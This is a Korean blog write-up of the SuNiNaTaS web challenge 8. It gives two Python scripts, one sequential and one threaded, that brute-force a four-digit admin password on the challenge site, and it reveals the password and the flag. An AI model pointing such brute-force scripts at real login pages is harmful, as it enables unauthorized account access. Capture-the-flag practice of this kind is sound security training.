본문 바로가기
해킹/suninatas (써니나타스)

써니나타스 웹 8번 풀이

by yenua 2022. 6. 3.
반응형

http://suninatas.com/challenge/web08/web08.asp

 

힌트를 보아하니 0~9999까지인 비밀번호 중 비밀번호를 찾아 로그인하면 인증키가 보이는 문제인 것 같다.

0~9999이므로, brute force 공격을 통해 비밀번호를 알아내보자.

 

DVWA brute force 에서 사용했던 코드를 조금 변형시켜서 아래와 같이 작성하였다.

비밀번호가 7천번대라 문제가 발생하진 않았지만, 아래 코드는 0000~9999까지를 입력하는 코드라 앞 부분 범위에 약간 문제가 있긴 하다.

import requests
import time

URL="http://suninatas.com/challenge/web08/web08.asp"


params = {'id':'admin',
          'pw':''}

start = time.time()
for pw1 in range(10):
    print('{}000'.format(pw1))
    for pw2 in range(10):
        for pw3 in range(10):
            for pw4 in range(10):
                password = ''
                password += chr(pw1 + 48) #ascii '0' is 48
                password += chr(pw2 + 48)
                password += chr(pw3 + 48)
                password += chr(pw4 + 48)
                #print(password)
                params['pw'] = password
                res = requests.get(URL, params=params)
                if "Password Incorrect!" not in res.text:
                    print("Password found!:{}".format(password))
                    end = time.time()
                    print(end - start)
                    break

실행결과

7707을 입력해보면 위와 같이 인증키가 나타난다.

 

Authkey : l3ruteforce P@ssword

 

결과창을 보면 알겠지만, 비밀번호를 찾는데 2분 30초 가량 걸렸는데, 아래 블로그에서는 멀티프로세싱 방식으로 코드를 작성할 수 있는 방법을 알려준다. 

https://ykarma1996.tistory.com/47

 

[SUNINATAS 8번] 문제풀이

WEB Level 8 level8은 굉장히 간단한 문제이면서도 귀찮은 문제입니다. 물론, 공격용 코드를 작성할 줄 모른다는 가정 하에 말입니다. 문제를 간단하게 살펴보면, 로그인을 하는 것이 목적이고, 주어

ykarma1996.tistory.com

블로그를 참고해서 작성한 코드 및 결과는 아래와 같다.

import requests
import time
from concurrent.futures import ThreadPoolExecutor
 
URL="http://suninatas.com/challenge/web08/web08.asp"

start = time.time()
print ("\n\nSearching Pass : 0 ~ 9999")

def part(num,  URL) :
    print((num-1)*2000, num*2000)
    for i in range((num-1)*2000, num*2000):
        params={
            "id":"admin",
            "pw":i
           }
 
        res=requests.post(URL, params=params)
        if "Password Incorrect!" not in res.text:
            print("Password found!:{}".format(i))
            end = time.time()
            print(end - start)
            break
    end = time.time()
    print('end function{} : {}'.format(num, end - start))
    
with ThreadPoolExecutor(max_workers=5) as executor:
    p1=executor.submit(part, 1, URL)
    p1=executor.submit(part, 2, URL)
    p1=executor.submit(part, 3, URL)
    p1=executor.submit(part, 4, URL)
    p1=executor.submit(part, 5, URL)

두번째 줄 및 함수가 끝난 시간을 보면, 멀티 프로세싱 방식을 통해 함수가 실행되고 있음을 짐작할 수 있다.

반응형